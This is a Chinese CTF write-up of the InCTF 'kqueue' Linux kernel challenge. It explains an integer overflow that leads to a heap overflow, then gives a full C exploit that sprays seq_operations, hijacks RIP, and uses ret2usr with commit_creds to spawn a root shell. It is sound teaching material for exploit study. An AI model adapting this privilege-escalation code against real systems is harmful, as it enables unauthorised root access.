查看原文
其他

InCTF 内核Pwn之 Kqueue

ScUpax0s 看雪学苑 2022-07-01
本文为看雪论坛精华文章
看雪论坛作者ID:ScUpax0s


据说InCTF国际赛是印度的强网杯233333 。
 
官方WP:https://blog.bi0s.in/2021/08/17/Pwn/InCTFi21-Kqueue/
 
比赛的时候有点事情,没怎么看题,后面重新复现一下,感觉我的exp比官方的wp简单一些。


1


题目概览


给出了源码,在内核态实现了一个队列管理程序。
queue *kqueues[MAX_QUEUES] = {(queue *)NULL};

最多管理五个队列(其实是6个,他写的有问题,后面再说)。
 
每个队列由一个 (queue *) 查找,维护。
 
单个队列的管理结构是一个 queue:
/* Sometimes , waiting in a queue is so boring, but wait , this isn't any ordinary queue */ typedef struct{ uint16_t data_size; //队列每一项entry的大小 uint64_t queue_size; //队列整体的大小 uint32_t max_entries;//队列最多的项数 uint16_t idx; char* data;}queue;

队列中的每一项是一个 queue_entry:
typedef struct queue_entry queue_entry;struct queue_entry{ uint16_t idx; //当前entry的idx char *data; //当前entry维护的数据 queue_entry *next; //next指针};

创建队列:

static noinline long create_kqueue(request_t request){ long result = INVALID; // 最多是五个队列 if(queueCount > MAX_QUEUES) err("[-] Max queue count reached"); // 创建队列时元素可以等于1,不能小于1 if(request.max_entries<1) err("[-] kqueue entries should be greater than 0"); if(request.data_size>MAX_DATA_SIZE) err("[-] kqueue data size exceed"); queue_entry *kqueue_entry; ull space = 0; if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true) // 整数溢出 err("[-] Integer overflow"); /* Size is the size of queue structure + size of entry * request entries */ ull queue_size = 0; if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true) err("[-] Integer overflow"); if(queue_size>sizeof(queue) + 0x10000) err("[-] Max kqueue alloc limit reached"); queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL)); queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL)); queue->data_size = request.data_size; queue->max_entries = request.max_entries; queue->queue_size = queue_size; kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8)); queue_entry* current_entry = kqueue_entry; queue_entry* prev_entry = current_entry; uint32_t i=1; // [1,request.max_entries] for(i=1;i<request.max_entries+1;i++){ if(i!=request.max_entries) prev_entry->next = NULL; current_entry->idx = i; current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL))); /* Increment current_entry by size of queue_entry */ current_entry += sizeof(queue_entry)/16; /* Populate next pointer of the previous entry */ prev_entry->next = current_entry; prev_entry = prev_entry->next; } // 这里尝试找到kqueue中一个不为NULL的项 uint32_t j = 0; for(j=0;j<MAX_QUEUES;j++){ if(kqueues[j] == NULL) break; } // break出for循环后 j = MAX_QUEUES,不会触发下面的if if(j>MAX_QUEUES) err("[-] No kqueue slot left"); // 导致我们越界分配了一个 queue? /* Assign the newly created kqueue to the kqueues */ // queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL)); kqueues[j] = queue; queueCount++; result = 0; return result;}

我们主要关注:
ull space = 0;if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true) // 整数溢出 err("[-] Integer overflow");

首先,__builtin_umulll_overflow 是gcc 内置的用于检测乘法溢出的函数:
 
https://gcc.gnu.org/onlinedocs/gcc/Integer-Overflow-Builtins.html
 
他做的事情就是去检测 sizeof(queue_entry) * (request.max_entries+1)是否乘法溢出(这个结果被放在space里)
 
问题在于:request.max_entries 本身并没有进行溢出检测。而它是一个32位无符号数,如果request.max_entries = 0xffffffff 那么 +1 后会造成整数溢出,通过检测。
 
而此时 request.max_entries 为一个极大值。
queue->max_entries = request.max_entries;

此时space变量计算错误(为0),导致 queue_size 为一个极小值。
ull queue_size = 0;if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true) err("[-] Integer overflow");

queue_size = sizeof(queue)
 
进而queue_size也变成一个极小值:
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));queue->queue_size = queue_size;

最后:queue->max_entries = 0xffffffff,导致循环被跳过,没有真正分配queue_entry。
//request.max_entries+1 = 0for(i=1;i<request.max_entries+1;i++){ ...... }

值得一提的是,他这个函数后面写的也有问题,可以越界分配一个queue。然后free掉就可以直接panic


保存队列:

static noinline long save_kqueue_entries(request_t request){ ...... // 为此需要save的队列分配空间,size为queue->queue->size char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL)); // 先拷贝queue头数据,这里没有问题 if(queue->data && request.data_size) validate(memcpy(new_queue,queue->data,request.data_size)); else err("[-] Internal error"); // 再拷贝所有queue的entry数据,这里发生了溢出 uint32_t i=0; for(i=1;i<request.max_entries+1;i++){ if(!kqueue_entry || !kqueue_entry->data) break; if(kqueue_entry->data && request.data_size) validate(memcpy(new_queue,kqueue_entry->data,request.data_size)); else err("[-] Internal error"); kqueue_entry = kqueue_entry->next; new_queue += queue->data_size; } ...... }

由于我们的构造,导致 queue_size 变成了一个极小值。进而此处 new_queue 分配过小 。而在for循环里又直接向new_queue的对应位置拷贝了数据。

并且拷贝的数据是 kqueue_entry->data ,此时kqueue也是分配的有问题(具体可以回到create里,总之就是kqueue_entry没有正常分配空间)
 
运行后会panic掉,因为此时 kqueue_entry->data 不是一个合法的值。
► 0xffffffffc00004ce <save_kqueue_entries+238> call memcpy <memcpy> dest: 0xffff88801e3b9fa0 ◂— sbb al, 0x1d /* 0x232221201f1e1d1c */ src: 0xdead000000000100 n: 0x20

根本原因是在:
中 kqueue_entry指针越界,访问了不合法位置的数据。



2


漏洞利用


在堆上喷射大量的 seq_operations,通过堆溢出overwrite掉ops[0],即:void * (*start) (struct seq_file *m, loff_t *pos);
 
实现hijack rip:
► 0xffffffffc00004ce <save_kqueue_entries+238> call memcpy <memcpy> dest: 0xffff88801dc10980 —▸ 0xffffffff812005d0 (single_start) ◂— xor eax, eax /* 0x940f003e8348c031 */ src: 0xffffea0000683e30 ◂— add byte ptr [rax], al /* 0x100000000000000 */ n: 0x20

一个poc如下:https://paste.ubuntu.com/p/b3j29GhtQt/
[ 8.977709] RIP: 0010:0x100000000000000[ 8.978444] Code: Bad RIP value. [ 8.987225] Call Trace:[ 8.989460] ? seq_read+0x89/0x3d0[ 8.989770] ? vfs_read+0x9b/0x180[ 8.989895] ? ksys_read+0x5a/0xd0[ 8.990136] ? do_syscall_64+0x3e/0x70[ 8.990332] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9[ 8.990577] Modules linked in: kqueue(O)[ 8.992286] ---[ end trace 8ca9e01e6f1c5a76 ]---[ 8.992629] RIP: 0010:0x100000000000000

经过尝试,当我们第二次分配queue时,<u>有很大概率被分配到第一次的data数据的上方</u>。
 
我们将第一次的data数据进行恶意的构造,然后在第二次完成堆溢出,覆盖函数指针劫持rip,然后在用户态执行shellcode即可。
 
由于没有开启smep、smap,我们ret2usr之后在用户态再swapgs,iretq一下重新着陆到shell函数即可。


exp


我的exp如下,感觉比官网的简单不少。只需要一次堆溢出就可以pwn。
#define _GNU_SOURCE#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h> #include <errno.h>#include <pty.h>#include <linux/tty.h>#include <pthread.h>#include <sys/mman.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/syscall.h>#include <signal.h>#include <fcntl.h>#include <sys/ioctl.h>#include <sys/ipc.h>#include <sys/sem.h>#include<stdint.h>#include <pthread.h>#include <sys/types.h>#include <sys/wait.h> #define CREATE_KQUEUE 0xDEADC0DE#define EDIT_KQUEUE 0xDAADEEEE#define DELETE_KQUEUE 0xBADDCAFE#define SAVE 0xB105BABE /* This is how a typical request looks */ typedef struct{ uint32_t max_entries; uint16_t data_size; uint16_t entry_idx; uint16_t queue_idx; char* data;}request_t; char *file = "/dev/kqueue";int fd;int seq_fd[0x200]={0};uint64_t f_shell;uint64_t user_cs,user_ss,user_sp,user_rflags,evil_rip; void save_state(){ __asm__(".intel_syntax noprefix;" "mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" );}static void delete(int idx){ request_t r_del = { .queue_idx = idx, }; ioctl(fd,DELETE_KQUEUE,&r_del);} static void create(uint32_t max_entries,uint16_t data_size){ request_t r = { .max_entries = max_entries, .data_size = data_size, }; ioctl(fd,CREATE_KQUEUE,&r);} static void save(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size){ request_t r = { .max_entries = max_entries, .queue_idx = queue_idx, .data_size = data_size }; ioctl(fd,SAVE,&r);} static void edit(uint16_t queue_idx,uint16_t entry_idx,char* data){ request_t r = { .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data }; ioctl(fd,EDIT_KQUEUE,&r);} void spray(){ for(int i=0;i<0x100;i++){ seq_fd[i] = open("/proc/self/stat", O_RDONLY); if(seq_fd[i]<=0){printf("open seq failed\n");} } puts("[+] spray() done");} void spray_2(){ for(int i=0x100;i<0x200;i++){ seq_fd[i] = open("/proc/self/stat", O_RDONLY); if(seq_fd[i]<=0){printf("open seq failed\n");} } puts("[+] spray() done");} void trigger(){ char data[0x10]; for(int i=0;i<0x200;i++){ read(seq_fd[i],(char *)data,0x10); }}void shell(){ system("/bin/sh");}void fuck(){ asm( ".intel_syntax noprefix;" "mov r12,[rsp+0x8];" "mov r13,r12;" "sub r12, 0x174bf9;" "sub r13, 0x175039;" "mov rdi, 0;" "call r12;" "mov rdi,rax;" "call r13;" "swapgs;" "mov r14, user_ss;" "push r14;" "mov r14, user_sp;" "push r14;" "mov r14, user_rflags;" "push r14;" "mov r14, user_cs;" "push r14;" "mov r14, evil_rip;" "push r14;" "iretq;" ".att_syntax;" );} // r12 0xffffffff81201179// 0xffffffff8108c580 T prepare_kernel_cred// 0xffffffff8108c140 T commit_credsvoid new_page(){ uint64_t page=0x1234f000; if (mmap((void *)page, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) == MAP_FAILED){ perror("[-] failed to mmap"); } *((uint64_t *)0x1234f000) = (uint64_t)fuck; printf("fuck(): %#lx\n",fuck); printf("[+] mmap %#lx\n",page);}int main(){ save_state(); evil_rip = (uint64_t)shell; new_page(); uint64_t data[4]={0x6161616161616161,0x1234f000,0x6161616161616161,0x1234f000}; fd = open(file,0); if(fd<0){perror(file);exit(0);} create(0xffffffff,0x10); edit(0,0,(char *)data); // 放好evil数据,为下一次堆溢出做准备 spray(); save(0,0x0,0x10); create(0xffffffff,0x20); spray_2(); save(1,0x1,0x10); trigger(); return 0;}//0xffffffff81037727 : xchg eax, esp ; ret

效果:




 


看雪ID:ScUpax0s

https://bbs.pediy.com/user-home-876323.htm

*本文由看雪论坛 ScUpax0s 原创,转载请注明来自看雪社区






# 往期推荐

1. HITB CTF 2018 gundam分析

2. CVE-2010-2883漏洞分析与复现

3.D-Link DIR-645路由器溢出分析

4. API 钩取:逆向分析之“花”

5. Ring3注入学习:导入表注入

6. 极为详细:双重释放漏洞调试分析



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存